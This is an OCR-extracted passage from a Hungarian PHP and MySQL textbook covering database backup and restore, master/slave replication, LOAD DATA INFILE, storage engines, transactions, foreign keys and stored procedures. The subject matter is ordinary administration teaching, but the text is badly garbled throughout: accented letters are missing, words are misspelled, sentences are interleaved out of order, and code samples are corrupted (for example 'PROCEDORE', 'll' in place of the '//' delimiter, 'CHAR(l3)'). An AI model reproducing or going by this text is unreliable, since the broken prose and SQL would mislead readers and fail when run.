Ahol szksges, indexek hasznlatval gyorsthatjuk lekrdezseinket. rizzk meg indexeink egyszersgt, s ne hozzunk ltre olyanokat, amilyeneket lekrdezseink nem hasznlnak! Ahogy korbban mr emltettk, az EXPLAIN utasts futtats
val llapthatjuk meg, hogy mely indexek vannak hasznlatban.

Alaprtelmezett rtkek hasznlata


Ahol lehetsges, hasznljunk alaprtelmezett rtkeket az oszlopokban, s csak akkor szrjunk be adatokat, ha azok az alapr telmezettl eltrek! Ezzel cskkenthet az
INSERT

utasts vgrehajtshoz szksges id.

Tovbbi tippek
Sok ms apr finomsggal javthatjuk adatbzisunk teljestmnyt, illetve kezelhetnk egyedi ignyeket. A MySQL weboldalon szmos j tancsot tallunk erre vonatkozan (http:/ /www.mysql.com).

206

12. fejezet

Biztonsgiments ksztse MySQL adatbzisunkrl


A biztonsgi ments ksztsnek tbbfle mdszere lrezik MySQL-ben. Az egyik lehetsg, hogy a fizikai llomnyok mso lsnak idejre zroljuk a tblkat. Ezt a LOCK TABLESparanccsal tehetjk meg, amely az albbi szintaktikt kveti:
LOCK TABLEStabla zarolas_tipusa

[,

tabla zarolas_tipusa

...]

A tabla helyre a zroini kvnt tbla (illetve tblk) neve kerl, a Biztonsgi ments ksztshez csak olvassi zrolsta van szksg. A
FLUSH TABLES ;

zarolas _ tipusa

pedig READ vagy WRITE lehet.

parancs futtatsval megbizonyosodhatunk arrl, hogy a biztonsgi ments ltrehozsa eltt az indexek minden vltozst lemezre rtuk. A biztonsgi ments elksztse kzben a felhasznJk s a kdok tovbbra is futtathatnak csak olvashat lekrdezseket. Ha szmos olyan lekrdezssei dolgozunk, amelyek mdostjk az adatbzist (ilyenek lehetnek pldul az gyfelek megrende lseiJ, akkor nem clszer ezt a megoldst vlasztanunk. A msodik- s egyben ajnlott- mdszer a mysql_dump parancs hasznlata. A parancsot az opercis rendszer parancs sorbl adjuk ki, s jellemzen valahogy gy nz ki:

12

mysql dump --opt --all-databases

>

all.sql

Ez az adarbzis jbli elllrshoz szksges minden SQL kdot az a ll.sql nev fjlba pakol. Ezt kveten egy pillanatra le kell lltanunk a mysqld folyamatot, majd a --log-bin [=logfile] bellrssal jbl el kell indtani azt. A naplfjlban trolt frisstsekbl kapjuk meg a mysql_dump parancs hasznlata ta vgbement vltoztat sokat. (A naplfjlokrl termszetesen brmilyen biztonsgi ments ksztse esetn gondoskodnunk kell.) A harmadik lehetsges mdszer a mysqlhotcopy kd hasznlata. A kvetkezkppen hvhatjuk meg:
mysqlhotcopy database /path/for/backup

Ez utn kvernnk kell az adarbzis elindtsnak s lelltsnak korbban bemutatott folyamatt. A biztonsgi ments ksztsnek (s a feladattvtelnek J utols lehetsges mdszere az adarbzis egy repliklr msolatnak mkdtetse. A replikcival a fejezet egy ksbbi rszben foglalkozunk majd.

MySQL adatbzisunk helyrelltsa


Ha helyre kell lltanunk MySQL adatbzisunkar, ismt csak tbb lehetsges megkzelts kzl vlaszrharunk. Amennyiben a problmt srlt tbla okozza, futassuk a myisamchk utasrst -r (repair, azaz javts) belltssalJ Ha a biztonsgi ments ltrehozshoz az elz rsz els mdszert vlasztottuk, msoljuk vissza az adatfjlokat egy j MySQL-releptsben ugyanarra a helyre! Ha a msodik megkzeltst alkalmaztuk a biztonsgi mentshez, tbb lps vr rnk. Elszr is le kell futtatnunk a dump fjlban a lekrdezseket Ez a lps ellltja az adatbzisnak azt az llapott, amelynl a fjlt dumpolruk. Msodsorban frisste nnk kell az adatbzist a binris naplban eltrolt llapotra. Ezt az albbi parancs futtatsval rhegk el:
mysqlbinlog hostname-bin. [0-9)*

mysql

A MySQL biztonsgi mentsnek s helyrelltsnak folyamatrl a hrrp:/ /www.mysql.com cmen elrhet MySQL web oldalon olvasharunk bvebben.

Replikcimegvalstsa
A replikci nev technolgia lehetv teszi, hogy tbb adatbzis szolgltassa ugyanazokat az adatokat. Ezzel megoszthat a terhels s fokozhat a rendszer megbzhatsga; ha az egyik kiszolgl tnkremegy, a lekrdezsek a tbbin futrathatk lesznek. Bellts utn biztonsgi mentsek ksztsre is hasznlhat. A dolog lnyege, hogy legyen egy master tpus szerver, amelyhez tbb slave tpust adhatunk. Minden slave kiszolgl tkrzi a mastert. Amikor az elejn bellguk a slave kiszolglkat, a master kiszolgln az adott idpillanatban lv minden adatot tmsolunk. A slave kiszolglkat ezt kveten a master alapjn frissteni kell. A master a binris napljbl tovbbtja a rajta lefuttatott sszes lekrdezs rszleteit, majd a slave kiszolglk is alkalmazzk azokat sajt adataikra. Jellemzen gy hasznljuk ezt a felllst, hogy az rsi lekrdezseket a master kiszolgln, az olvassi lekrdezseket pedig a slave kiszolglkon futtaguk. Ezt alkalmazsunk logikja kveteli meg. sszetettebb architektrk is lehetsgesek, pldul amelyben tbb master kiszolgl dolgozik, mi azonban csak ezzel a legtipikusabb felllssal foglalkozunk. Belthat, hogy a slave kiszolglk ltalban nem rendelkeznek annyira napraksz adatokkal, mint a master. Ez minden elosztott adatbzisra igaz.

Halad MySQL-adminiszrrci

207

A masrer s slave archrektra felptsnek els lpsekm leellenrizzk, hogy a binris naplzs be van-e kapcsolva
a

masreren. A binris naplzs bekapcsolsrl A PHP s a A


my. ini

MySQL teleptse cm Fggelkben olvashatunk.

vagy my. cnf fjlunkat a masrer s a slave kiszolglkorr is szerkeszteni kell. Az elbbi esetn az albbi bellir

sokra lesz szksgnk:


[mysqld]

log-bin
server-id=l

Az els bellirs a binris naplzsr kapcsolja be (ezt mr be kellett kapcsolnunk; ha nem tettk meg, kapcsoljuk be mosr!). A msodik bellirs egyedi azonostt ad a master kiszolglnak. Minden slave kiszolgl is azonostt ignyel, ezrt hasonl sort kell hozzadnunk minden slave my. ini/my. cnf fjljhoz. gyeljnk, hogy a szmok egyediek legyenek! Az els slave azonostja legyen- mondjukserver-id=2;

a msodik

server-id=3

srb.

A master kiszolgl belltsa


A master kiszolgln ltre kell hoznunk egy felhasznlt, amivel a slave kiszolglk csatlakozni rudnak. A slave kiszolglkhoz egy klnleges, repiicaeion slave nev jogosulrsgi szinr tartozik. A kiindul adattovbbts tervezett mdjtl fggerr tmene rileg tovbbi jogosultsgok megadsra is szksg lehet. Az esetek tbbsgben adatbzis-pillanatfelvtelt fogunk hasznlni
az

12

adatok tadsra, s ekkor csak a klnleges

replication slave jogosultsgra van szksg. Ha gy dnrnk, hogy a LOAD DATA FROM MASTER paranccsal tovbbtjuk az adarokar, a felhasznlnak RELOAD, SUPER s SELECT jogosulrsgra is szksge lesz, de csak a kiindul belltshoz. (Errl az urasrsrl a kvetkez rszben olvasharunk bvebben.) A 9. fejezetben megismert, legkisebb jogosultsg elve alapjn vissza kell vonni ezeker a jogosultsgokat, aminr a rendszer mr felll r s fut. Hozzunk ltre egy felhasznlt a master kiszolgln! Brmilyen felhasznli nevet s jelszt adharunk neki, de jegyezzk fel! Pldnkban a r ep_ slave nevet acljuk a felhasznlnak:
grant replication slave

on to

* . *

'rep_slave'@

'%'

identified by

'j els z o' ;

Nyilvnvalan valarnilyen ms jelszr kell vlasztanunk.

A kezdeti adattvitel megvalstsa


Tbbflekppen tvihetjk az adatokat a master kiszolglrl a slave-re. A legegyszerbb a slave kiszolglk bellitsa (ezt
a a

kvetkez rszben mutatjuk be), majd a LOAD DATA FROM MASTER utasts futtatsa. Ennek a megkzeltsnek az szpsghibja, hogy az adattvitel idejre zrolja a master tblit, s rnivel ez nmi idr vehet ignybe, hasznlatt nem ajnl ltalban jobban jrunk, ha az adott idpontban pillanatfelvtelt ksztnk az adatbzisrL A fejezet korbbi rszben,

juk. (Csak akkor rdemes ezt a mdszert vlasztani, ha MyiSAM tblkat hasznlunk.)
a a

biztonsgi menrsek ltrehozshoz hasznlt eljrsoknl mr megmutattuk, hogyan tehetjk meg ezr. Elszr is Ilusholjuk tblkat a kvetkez utastssal: Az olvassi zrols indoka, hogy fel kell jegyeznnk a szerver binris napljban azt a helyet, ahol a pillanatfelvtelt ksztet

FLUSH TABLES WITH READ LOCK; tk. Az albbi utasts futtatsval tehetjk ezt meg: SHOW MASTER STATUS;

Ennek eredmnyekppen a kvetkezhz hasonl kimenetet kell kapnunk:


+----------------------+----------+--------------+------------------+

l File
llaura-ltc-bin.OOOOOl

l l

Position

Einlog Do_DB

Binlog_Ignore_DB

+----------------------+----------+--------------+------------------+

95

+----------------------+----------+--------------+------------------+

Jegyezzk fel a File s a Positiorr mez rtkr; a slave kiszolglk belltshoz szksg lesz ezekre. Mosr ksztsk el a pillanatfelvtelt, majd olcljuk fel a tblk zrelst a kvetkez utastssal:
unlock
tables;

208

12. fejezet

Amennyiben InnoDB tblkkal dolgozunk, a legegyszerbb az InnoDB Hot Backup eszkz hasznlata, amely az Innobase Oy oldaln rhet el (http:/ / www.innodb.com). Mivel nem ingyenes szoftverrl van sz, szmolnunk kell licenckltsggeL Megtehetjk azt is, hogy az irt bemutatort eljrst kvetjk, s a tblk zrolsnak feloldsa elre kikapcsoljuk a MySQL szer vert, s a repliklni kvnt adatbzis teljes knyvrrt lemsoljuk, majd jraindtjuk a kszolglt, s feloldjuk a tblk zrolst.

A slave kiszolgl vagy kiszolglk belltsa


Kt lehetsg kzl vlasztharunk a slave kiszolgl(k) belltsakor. Ha ksztetrnk adatbzisunkrl pillanarfelvtelt, kezd jk azzal, hogy a slave kiszolglra teleptjk! Ezt kveten futtassuk a slave kiszolgln a kvetkez lekrdezseket:
change master to master-host='szerver', master-user='felhasznalo', master-password='jelszo',

12

master-log-file='naplofajl', master-log-pos=logpos; start slave;

A dlt bervel szedert adatokat magunknak kell megadni. A szerver a master kiszolgl neve. A felhasznala s a j elszo a master kiszolgln futtatott GRANT utastsbl addik. A naplofaj l s a logpos pedig a master kiszolgln futtatort SHOW MASTER STATUS utasts kimenetbl kvetkezik. A slave kiszolgl most mr fut s mkdik. Amennyiben nem kszterrnk pillanatfelvtelt, a masterrl szrmaz adatokat az elz lekrdezs futtatsa utn a kvetke z utasts vgrehajtsval tlthetjk be:
LOAD DATA FROM MASTER;

Tovbbi olvasnival
A MySQL-rl szl eddigi fejezetekben a rendszer azon rszeire s hasznlatra fordtortuk figyelmnket, amelyek a webes fejleszts, illetve a MySQL s a PHP sszekapcsolsa szempongbl a leginkbb fontossggal brnak. Ha szecernnk tbbet megtudni a MySQL-adminisztrcirl, ltogassunk el a hrrp:/ / www.mysql.com cmen elrhet MySQL weboldalral rdemes lehet elolvasni a MySQL Press kiad Paul Dubois

MySQL Administrator's Guide and Language Rejerence cm kiadvnyr vagy MySQL (Addison-Wesley kiad, negyedik kiads) cm mvt.

Hogyan tovbb
A Halad

MySQL-programozs cm, kvetkez leckben a MySQL nhny olyan haladbb funkcijt ismerjk meg, amelyek

webes alkalmazsok rsakor hasznosak. Megrudjuk pldul azt, hogyan hasznljuk a klnbz trolmotorokat, a tranzakci kat s a trolt eljrsokat.

13
Halad MySQL ...programozs
A kvetkezkben A

halad MySQL-tmkrl,a tbbi kzt a tblaripusokrl, a tranzakcikrl s a trolt eljrsokrl olvashatunk. fejezet sorn rintett fbb tmakrk: A LOAD DATA INFILE utasts Trolmotorok Tranzakcik Kls kulcsok Trolt eljrsok

A LOAD DATA INFILE utasts


A MySQL egyik

hasznos,eddig nem trgyalt funkcija a LOAD DATA INFILE utasts. Hasznlatval fjlbl tlthernk be a tblkba adatokat. Az utasts nagyon gyorsan lefut. Rugalmas, szmtalan opcival rendelkezik,jellernzen azonban a kvet kezkppen nz ki:
LOAD DATA INFILE "uj konyvek. txt" INTO TABLE konyvek;

Ez a sor a konyvek tblba olvassa az uj_konyvek. txt fjlban callhat adatokat. A fjl adatmezit alaprtelmezsben rabulrorokka! kell egymstl elvlasztani,s egyszeres idzjel kz kell helyezni ket,a sorokat pedig jsor karakterrel (\n) kell tagolni. A klnleges karaktereket perjellel (\) szksges kiemelni. Mindezeket a LOAD utasts klnbz opciival m dosthatjuk; a rszleteket a MySQL kziknyvben talljuk. A LOAD DATA INFILE utasts hasznlathoz a felhasznlnak a Webes adatbzis ltrehozsa cm 9. fejezetben bemuta tort FILE jogosultsggal kell brnia.

Trolmotorok
A MySQL tbbfle

trolmotort tmogat (amiket esetenknt tblatpusoknak is szoks nevezni). Ez azt jelenti,hogy vlasz rsi lehetsgnk van a tblk mgttes megvalsrst illeten. Adatbzisunk akr minden tblja hasznlhat ms s ms rrolmotort,s egyszeren vltharunk a mororok kztt. A tblaripust a tbla ltrehozsakor vlaszthatjuk ki az albbi utastssal:
tabla TYPE=tipus ....

CREATE TABLE

leggyakrabban hasznlt trolmotorok a kvetkezk: MyiSAM -Az alaprtelmezett tpus,ezt hasznltuk a knyv eddigi rszben is. A hagyomnyos !SAM-tpuson alapul,ami az Indexed Sequentia l Access Method (index-szekvencilis adatelrsi mdszer) rviditse. Ez a rekordok s fjlok trolsnak szabvnyos mdja. A MyiSAM szmos tovbbi elnyt kinl az ISAM-tpushoz kpest. A MyiSAM a tbbi trolmotorhoz kpest tbb eszkzzel rendelkezik a tblk ellenrzsre s javtsra. A MyiSAM tblk tmrthetk, s tmogatjk a teljes szvegre keresst (full text searching). Nem tranzakcibiztosak,s nem tmogatjk az idegen kulcsokat. MEMORY (korbbi nevn HEAP) -Az ilyen tpus tblkat a memriban trolja a MySQL,indexeit pedig hasheli. A MEMORY tblk ettl tudnak rendkvl gyorsak lenni,de a rendszer sszeomlsa esetn adataink elvesznek. Ezen tulaj donsgaiknak ksznheten a MEMORY tblk ideiglenes vagy szrmaztatott adatok trolsra idelisak. A CREATE TABLE utastsban meg kell hatroznunk a MAX_ROWS bellts (a sorok maximlis szma) rtkr, klnben a tblk a teljes mem rit k:isajtthatjk. BLOB, TEXT vagy AUTO INCREMENT oszlopot nem tartalmazhatnak. MERGE- Ezek a tblk lehetv teszik,hogy lekrdezs cljbl egyeden tblaknt kezeljnk tbb MyiSAM tblt. Ezzel kikerlhetk az egyes opercis rendszerek maximlis fjimreere vonatkoz korltozsai. ARCHIVE- Az ilyen tblk nagy mennyisg adatot trolnak kis helyen. Tmogatjk az INSERT s a SELECT lekrde zseket,a DELETE, az UPDATE s a REPLACE mveleteket viszont nem. Indexeket nem hasznlnak.
A

210

13.fezet

CSV- A kiszolgl egyetlen, vesszvel elvlasztott rtket tartalmaz fjlban trolja ezeket a tblkat.Elnyk akkor jelentke

zik, ha kls tblzatkezel alkalmazsban, pldul Microsoft Excelben lv adatokat kell megtekinreni, vagy dolgozni kell velk.
InnoDB-Az ilyen tblk tranzakcibiztosak; ez azt jelenti, hogy esetkben hasznlhatjuk a COMM IT s a ROLLBACK

parancsot.Az InnoDB tblk a kls kulcsokat is tmogatjk. A MyiSAM tblknl ugyan lassabbak, m a tranzakcik hasz nlatnak lehetsge ellenslyozza sebessgbeli htrnyukat. A webes alkalmazsok tbbsgben jellemzen MyiSAM vagy InnoDB tblkat, illetve ezek keverkt hasznljuk. Akkor rdemes MyiSAM tpussal dolgozni, amikor jelents szm
SELECT

vagy INSERT lekrdezst futtarunk egy tbln

(nem vegyesen a krfle lekrdezst), mett ebben ez a leggyorsabb. Szmos webes alkalmazshoz-egyebek kztt a katalgusok hoz is-a MyiSAM a legjobb vlaszts.Akkor is a MyiSAM a nyer, amikor teljes szvegre keressi lehetsgre van szksgnk. InnoDB tpus tblra akkor van szksg, amikor fontosak a tranzakcik (pldul pnzgyi adatokat trol tblk esetn), vagy pedig egyms kz keld INSERT s
SELECT

lekrdezsek hasznlatakor (pldul online zenfalak s frumok esetn).

A MEMORY tblkat ideiglenes tblaknt vagy nzetek megvalstsra hasznlhatjuk, a MERGE tblkat pedig akkor, amikor igazn nagy MyiSAM tblkat kell kezelnnk. A tbla ltrehozsa utn az ALTER
TABLE

utastssal mdosthatjuk tpust, pldul gy:

ALTER TABLE megrendelesek TYPE=innodb; ALTER TABLE rendelesi_tetelek TYPE=innodb;

A knyv ezen rszben leginkbb MyiSAM tblkkal dolgoztunk. Sznjunk most kis idt arra, hogy figyelmnket a tranz akcik hasznlatra, illetve az InnoDB tblkon belli megvalsrsuk mdszereire fordtsuk!

13

Tranzakcik
A tranzakcik az adatbzis konzisztencijt biztost mechanizmusok, amelyek klnsen hiba vagy szerversszeomls esetn

fontosak.A kvetkez rszekbl kiderl, pontosan mik azok a tranzakcik, s hogyan valsthatjuk meg ket InnoDB tblkkal.

A tranzakcikkal kapcsolatos defincik megismerse


Elszr is hatrozzuk meg a tranzakci fogalmt l A tranzakci olyan lekrdezs vagy lekrdezsek olyan sorozata, amely vagy reljes mrtkben lefut az adatbzison, vagy egyltaln nem fut le. Az adatbzisok gy a tranzakci befejezttl fggetlenl meg rizhetik konzisztens llapotukat. Hogy lssuk, mirt olyan fonros ez a lehetsg, vizsgljuk meg egy banki adatbzis pldjt! Kpzeljk el azt a szitucit, amelyben pnzt szetetnnk utalni az egyik szmlrl a msikra! Ez a mvelet magban foglalja, hogy eltvoltjuk a pnzt az egyik szmlrl, majd thelyezzk egy msikra. Knnyen belthat, hogy ehhez legalbb kt lekrdezsre van szksg. Rend kvl fontos, hogy e kt lekrdezs kzl vagy mindkett lefusson, vagy egyik sem. Ha az egyik szmlrl levesszk a pnzt, s elmegy az ram, mieltt egy msik szmlra rraknnk, mi trtnik? A pnz egyszeren csak eltnik? Bizonyra tallkoztunk mr az ACID-kompatibilis kifejezssel. Az ACID betsz a tranzakcikkal szemben elvrt ngy kvetelmnyre utal:
Atomisg (Atomicity)- A tranzakcinak atominak kell lennie; ez azt jelenti, hogy vagy teljesen lefusson, vagy egylta

ln ne fusson le.
Konzisztencia (Consistency)- A tranzakcinak meg kell riznie az adatbzis konzisztens llapott. Izolci (Isolation)- A befejezetlen tranzakcik az adatbzis ms felhasznli szmra lthatatlanok kell, hogy legye

nek; vagyis befejezskig a tranzakciknak elklntve kell maradni uk.


Tartssg (Durability)-Az adatbzisba rsuk utn a tranzakciknak vglegesnek, ms szval tartsnak kell lennik.

A vglegesen az adatbzisba rt tranzakcit vglegestettnek ( committed) moncljuk. Az adatbzisba nem rt tranzakci r, vagyis amikor az adarbzis visszall a tranzakci megkezdse eltti llapotba, visszagrgetett (rolled back) tranzakcinak nevezzk.

Tranzakcik hasznlata InnoDB tblkkal


A MySQL alaprtelmezsben autocommit mdban fut.Ez azt jelenti, hogy minden lefuttatott utasts azonnal az adatbzisba rdik (vglegestett lesz).Tranzakcibiztos tblatpus hasznlata esetn tbb mint valszn, hogy nem szetetnnk ezt. Ha az aktulis munkamenetben ki szeretnnk kapcsoini az autocommit mdot, a kvetkezt kell begpelni:
SET AUTOCOMMIT=O;

Az autocommit md bekapcsolt llaporban a


START TRANSACTION;

urasrssal kezdhetnk meg egy tranzakcit.

Halad MySQL-programozs

211

Kikapcsolt llapot esetn nincs szksg erre a parancsra, mert a tranzakci automatikusan megkezddik, arnint berunk egy SQL utastst. Ha befejeztk a tranzakcit alkot utastsok bevitelt, egyszeren a kvetkezt begpelve vglegesthetjk azt az adatbzisban:
COMMIT;

Ha valamilyen okbl meggondoljuk magunkat, a


ROLLBACK;

utastssal trhetnk vissza az adatbzis elz llapothoz. Amig nem vglegestjk a tranzakcit, a tbbi felhasznl szmra vagy ms munkamenetekben lmatatlan lesz. Nzznk egy pldt! Amennyiben mg nem tettk volna meg, hajtsuk vgre a konyvek adatbzison a fejezet elz rsz ben emltett, kt ALTER TABLE utastst most:
ALTER TABLE ALTER TABLE megrendelesek TYPE=innodb; rendelesi_tetelek TYPE=innodb;

Ezek az utastsok InnoDB tblkk alaktjk a kt tblt. (A ksbbiekben ugyanezzel az utastssal visszaalakthatjuk ket, m akkor a type=MyiSAM paramtert kell hasznlni.) Nyissunk kt kapcsolatot a konyvek adatbzishoz l Adjunk egy j rendelsi rekordot az adatbzishoz:
INSERT INTO megrendelesek VALUES (5,

2,

69.98,

'2008-06-18');

INSERT INTO rendelesi_tetelek VALUES (5,

'0-672-31697-8',

l);

Ellenrizzk, hogy ltjuk-e az j rendelseket:


SELECT
*

FROM megrendelesek WHERE rendelesid=5;

A kvetkezkppen jelenik meg a rendels:


+------------+-----------+--------+------------+ l
rendelesid

vasarloid

osszeg

datum

13

+------------+-----------+--------+------------+
5

69.98

2008-06-18

+------------+-----------+--------+------------+

Hagyjuk nyitva ezt a kapcsolatot, menjnk a msikra, s futassuk le ugyanezt a SELECT lekrdezst! Ekkor nem fogjuk ltni a megrendelst:
Empty set

(0.00 sec)

Ennek oka, hogy a tranzakcit mg nem vglegestetrk. (Kivl pldja ezt a tranzakci-izollsnak.) Ha mgis ltjuk, akkor minden bizonnyal elfelejtettk kikapcsalni az automatikus vglegestst (autocommit). Ellenrizzk ezt, illetve azt, hogy InnoDB formtumv alaktottuk-e a szban forg tblt! Trjnk vissza az els kapcsolathoz, majd vglegestsk a tranzakcit:
COMMIT;

Most mr a msik kapcsolatban is vissza kell kapnunk a megfelel sort.

Kls kulcsok
Az InnoDB a kls kulcsokat is tmogatja. Emlkezhetnk r, hogy a kls kulcsok fogalmval a Webes adatbzis megtervezse cm 8. fejezetben tallkoztunk. MyiSAM tblk hasznlata esetn nincs lehetsg kls kulcsok hasznlatra. Gondoljuk vgig pldul azt az esetet, amikor sort szrunk bele a rendelesi_tetelek tblba! Ehhez rvnyes
rendelesid-ra
a

van szksg. MyiSAM tblk hasznlata esetn valahol mshol, az alkalmazs logikjval kell szavatolnunk

beszrt rendelesid rvnyessgt. Az InnoDB tblkban a kls kulcsok hasznlata lehetv teszi, hogy az adatbzis Hogyan llrhatjuk ezt be Ha a tblt mr erederileg kls kulcs hasznlatval kvnjuk ltrehozni, akkor a kvetkezkp

vgezze el helyetrnk ezt az ellenrzst. pen kell megvltoztaeni a tbla DDL utastst:
CREATE TABLE rendelesi_tetelek ( rendelesid INT UNSIGNED NOT NULL REFERENCES megrendelesek(rendelesid), isbn CHAR(l3) NOT NULL, mennyiseg TINYINT UNSIGNED, PRIMARY KEY (rendelesid, ) TYPE=InnoDB; isbn)

A re ferences megrendelesek (rendelesid) szavakat rtuk a rendelesid mg. Ez azt jelenti, hogy az oszlop kls kulcs, amelynek a megrendelesek tbla rendelesid oszlopbl szrmaz rtket kell tartalmaznia. Ez szksges
a

kls kulcsok mkdshez.

212

13. fejezet

ALTER TABLE

utastsokkal meglv tbln is vgrehajthatjuk ezeket a mdostsokat, pldul gy:

ALTER TABLE rendelesi_tetelek TYPE=InnoDB; ALTER TABLE rendelesi tetelek ADD FOREIGN KEY (rendelesid) REFERENCES megrendelesek(rendelesid);

Hogy kidertsk, mkdik-e a mdosts, prbljunk meg olyan rendelesid-j sort beszrni, amelyhez a megrendelesek tblban nem tartozik megfelel sor:
INSERT INTO rendelesi_tetelek VALUES

(77,

'0-672-31697-8',
child row:

7);

Az albbihoz hasonl hibazenetet kell kapnunk:


ERROR

1452

(23000):

Cannot add or update a fails

a foreign key constraint

Trolt eljrsok
A trolt eljrs MySQL-en bell ltrehozott s trolt programozsi fggvny, amely SQL utastsokbl s nhny klnleges vezrlsi szerkezetbl ll. Akkor tud hasznos lenni, amikor ms alkalmazsokbl vagy platformokrl kvnjuk elvgezni ugyan azt a funkcit, illetve funkcionalits begyazsra is kivlan alkalmas. Adatbzisok esetn a trolt eljrsokra tekinthetnk gy, mint programozs esetn az objektumorientlt megkzeltsre. Lehetv teszik, hogy kontrolltjuk az adatelrs mdjt. Elszr vizsgljunk meg egy egyszer pldt!

13

Alapplda
A 13.1 pldakd trolt eljrs deklarlst mutatja.
13.1 pldakd: egyszeru_tarolt_elj aras. sql# Plda egyszer trolt eljrsra
delimiter

Trolt eljrs deklarlsa

ll

CREATE BEGIN

PROCEDORE megrendeles_osszesito

(OUT

total FLOAT)

SELECT SUM(osszeg) INTO total FROM megrendelesek; END

ll
delimiter

Nzzk meg a kdot sorrl sorra! Az els utasts, a


delimiter

ll

az utasts vgt jelz elvlaszt aktulis rtkt - ami ltalban pontosvessz, hacsak korbban meg nem vltoztattuk - dupla elre perjell mdostja. Erre azrt van szksg, hogy a trolt eljrson bell anlkl hasznlhassuk a pontosvesszt, hogy a MySQL megprblja soronknt vgrehajtani a kdot. A kvetkez sor, a
CREATE PROCEDORE megrendeles_osszesito (OUT total FLOAT)

hozza ltre magt az eljrst. Ennek az eljrsnak megrendeles_osszesi to a neve. Egyeden paramtere van, a total, ami nem ms, mint a kiszmtani kvnt rtk. Az OUT sz jelzi, hogy ezt a paramtert vissza fogjuk kapni. A pararnterek deklarlhatkIN-knt is, ami azt jelenti, hogy az adott rtket tadjuk az eljrsba, illetve INOUT-knt, ami kor az rtket tadjuk az eljrsba, ami mdosthatja azt. A FLOAT sz a paramter tpusra utal. Jelen esetben a megrendelesek tblban lv sszes rendels sszegt adjuk vissza. A megrendelesek oszlop tpusa FLOAT, gy a visszaadott rtk is FLOAT lesz. Az elfogadhat adattpusok krt a lehetsges oszloptpusok hatrozzk meg. Amennyiben egynl tbb paramtert szeremnk hasznlni, vesszvel elvlaszrott listval adhatjuk meg ket, ahogy azt PHP-ben is tennnk.

Halad MySQL-programozs

213

A:z. eljrs trzst aBEGIN s az END utasts fogja kzre. A PHP kapcsos zrjeleinek rsblokk elejt s vgt jelzik.

({

} ) felelnek meg, mert az utas

A trzsben egyszeren egy SELECT utastst futtatunk. A:z. egyetlen klnbsg a megszekott hasznlattl az INTO
total mellkg szerepeltetse, amely a lekrdezs eredmnyt a total paramterbe tlti be.

Az eljrs deklarlsa utn az albbi sorral lltjuk vissza az elvlasztt pontosvesszre:


delimiter ;

Deklarlsa utn a CALL kulcsszval hvhaljuk az eljrst, egsz pontosan gy: CALL megrendeles_osszesito(@t); Ez az utasts a megrendeles_osszesito trolt eljrst hvja meg, s tad neki egy vltozt az eredmny trolsra. Ennek megtekintshez ezt a vltozt kell megnznnk: SELECT @t; Az eredmny ehhez hasonl lesz:
+-----------------+

l @t
+-----------------+

l 289.92001152039

+-----------------+

Az eljrsok esetben hasznlt mdhoz hasonlan fggvnyt is ltrehozharunk. A fggvny csak bemeneti (input) param tereket fogad, s egyetlen rtket ad vissza. Az alapvet szintaktikjuk is majdnem teljesen megegyezik. A 13.2 pldakdban egy mintafggvnyt lthatunk. 13.2 pldakd: egyszeru_ fuggveny. sql

Trolt fggvny deklarlsa

13

# Fggvny ltrehozsnak alapszntaktikja


delrniter

ll RETURNS FLOAT

CREATE FUNCTION ado_hozzaadasa (ar FLOAT) RETURN ar*1.1; ll


delimiter

Lthat, hogy a fenti plda a PROCEDURE kulcssz helyett a FUNCTION-t hasznlja. Nhny tovbbi klnbsger is meg kell emlteni. A paramtereket nem kell IN vagy OUT kulcsszavakkal meghatrozni, mert mind csak IN, azaz bemeneti paramter lehet. A paramterlista utn a RETURNS FLOAT mellkg lthat. Ez hatrozza meg a visszaadand rtk tpust, amely brmilyen rvnyes MySQL tpus lehet. rtket- a MySQL-hez hasonlan- itt is a RETURN utastssal adunk vissza. Figyeljk meg, hogy a plda nem hasznlja aBEGIN s az END utastst! Berhatjuk ket, de nem ktelez. Akrcsak PHP ben, ha egy utastsblokk egyetlen utastst tartalmaz, nem szksges jellni az elejt s a vgt. A fggvnyhvs nmikppen eltr az eljrsok meghvstL Trolt fggvnyt ugyangy hvunk meg, ahogyan egy beptett fggvnyt tennnk. Pldul: SELECT ado_hozzaadasa(100}; Ez az utasts az albbi kimenetet eredmnyezi:
+---------------------+

l ado_hozzaadasa(100}
+---------------------+

llO

+---------------------+

Deklarlsuk utn az eljrsok s fggvnyek kdjt a kvetkezkppen tekinthetjk meg: SHOW CREATE PROCEDURE megrendeles_osszesito; vagy SHOW CREATE FUNCTION megrendeles_osszesito;

214

13. fejezet

Trlni pedig a
DROP PROCEDURE total_orders;

illetve a
DROP FUNCTION ado_hozzaadasa;

utastssal lehet. A trol eljrsok esetn hasznlhatunk vezrlsi szerkezeteket, vltozkat, DECLARE kezelket (amelyek a kivtelekhez hasonlk) s egy fontos,

kurzomak nevezett valamit. A kvetkez rszekben rviden ttekintjk ezeket.

Helyi vltozk
begin ...end blokkon bell a DECLARE kulcsszval vezethetnk be helyi vltozkat. Mdosthaguk
az

ado_hozzaadasa

fggvnyt pldul gy, hogy helyi vltozt hasznlva trolja az adkulcsot. Ezt lthatjuk a 13.3 pldakdban.
13.3 pldakd: egyszeru_fuggveny_val tozokkal. sql-

Vltozkat tartalmaz troltfggvny deklarlsa

# Egyszer fggvny ltrehozsnak alapszntaktikja


delimiter ll CREATE FUNCTION ado_hozzaadasa (ar FLOAT) RETURNS FLOAT

13

BEGIN DECLARE ado FLOAT DEFAULT 0.10; RETURN ar*(l+ado); end

ll
delimiter

A fentiekbl kiderl, hogy a vltozt a DECLARE kulcsszval deklarljuk, amit a vltoz neve, majd a tpusa kvet. Az opcio nlis DEFAULT mellkggal kiindul rtket adhatunk a vltoznak. Ezt kveten a szoksos mdon dolgozhatunk a vltozval.

Kurzorok s vezrlsi szerkezetek


Vizsgljunk meg egy sszetettebb pldt! Ebben olyan trolt eljrst fogunk rni, amelyik kiszmolja, melyik rendels rtke volt a legnagyobb, s ennek a rendelesid-j t adja viss.za. (Termszetesen egy egyszer lekrdezssei is knnyedn kiclerther nnk ezt
az

rtket, m a plda kivlan szemllteti a kurzorok s a vezrlsi szerkezetek hasznlatr.) A trolt eljrs kdjt

a 13.4 pldakdban tallj uk.


13.4 pldakd: vezerlesi_szerkezetek_ kurzorok. sql-

Eredmnyhalmazfeldolgozsa kurzorokkal s ciklusokkal

# A legnagyobb rtk rendels rendelesid-jt max-szal is kiderthetnnk, # m az albbi kddal bemutathatjuk a trolt eljrsok elveit
